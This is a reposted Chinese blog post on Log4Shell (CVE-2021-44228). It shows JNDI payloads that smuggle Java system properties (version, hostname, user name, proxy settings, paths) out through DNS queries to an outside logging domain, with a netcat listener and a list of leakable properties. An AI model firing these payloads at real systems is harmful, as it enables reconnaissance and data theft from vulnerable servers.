暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

CVE-2021-44228的延伸

only security 2021-12-11
438

0x01 

感觉这个漏洞可以玩的花样很多

漏洞本地复现的时候听到群里师傅说一些java的变量也可以

可以将变量添加到dns的前缀,通过dns协议发出,比如

${jndi:dns://${sys:java.version}.45e517bf.dns.1433.eu.org/test}

${jndi:dns://${hostName}.45e517bf.dns.1433.eu.org/test}

这里我试了下,确实可以(这里其实也还是可以用ldap协议)

多种情况下可以利用,比如可以通过jdk版本、host头、定位到唯一的机器


0x02

诸如此类,完整的变量可以通过demo来查看系统遍历


    System.out.println(System.getProperties())


    也可以看到有些是路径,如

    ${sys:user.dir}

    ${sys: java.class.path}

    由于dns的特殊性,前缀不能含有斜杠,可以通过监听dns流量去获取路径之类的记录(这里就只能使用dns协议了)

      nc -ulp 5569


      这里有些变量就比较有意思了,比如一些代理的变量

      socksProxyHost

      http.proxyHost

      user.name

      http.nonProxyHosts

      ftp.nonProxyHosts

      socksNonProxyHosts

      就可以把服务器的代理外带出来,从而进行进一步的信息收集


      还有一些变量,${sys:user.name}可以获取用户名,类似于whoami的结果了

      0x03

      附,所有的变量:

        gopherProxySet
        awt.toolkit
        socksProxyHost
        http.proxyHost
        java.specification.version
        file.encoding.pkg
        sun.cpu.isalist
        sun.jnu.encoding
        java.class.path
        https.proxyPort
        java.vm.vendor
        sun.arch.data.model
        java.vendor.url
        user.timezone
        os.name
        java.vm.specification.version
        sun.java.launcher
        user.country
        sun.boot.library.path
        sun.java.command
        http.nonProxyHosts
        jdk.debug
        sun.cpu.endian
        user.home
        user.language
        java.specification.vendor
        java.version.date
        java.home
        file.separator
        https.proxyHost
        java.vm.compressedOopsMode
        line.separator
        java.specification.name
        java.vm.specification.vendor
        java.awt.graphicsenv
        user.script
        sun.management.compiler
        ftp.nonProxyHosts
        java.runtime.version
        user.name
        path.separator
        os.version
        java.runtime.name
        file.encoding
        java.vm.name
        java.vendor.version
        java.vendor.url.bug
        java.io.tmpdir
        java.version
        user.dir
        os.arch
        socksProxyPort
        java.vm.specification.name
        java.awt.printerjob
        sun.os.patch.level
        java.library.path
        java.vendor
        java.vm.info
        java.vm.version
        sun.io.unicode.encoding
        java.class.version
        socksNonProxyHosts
        http.proxyPort



        文章转载自only security,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

        评论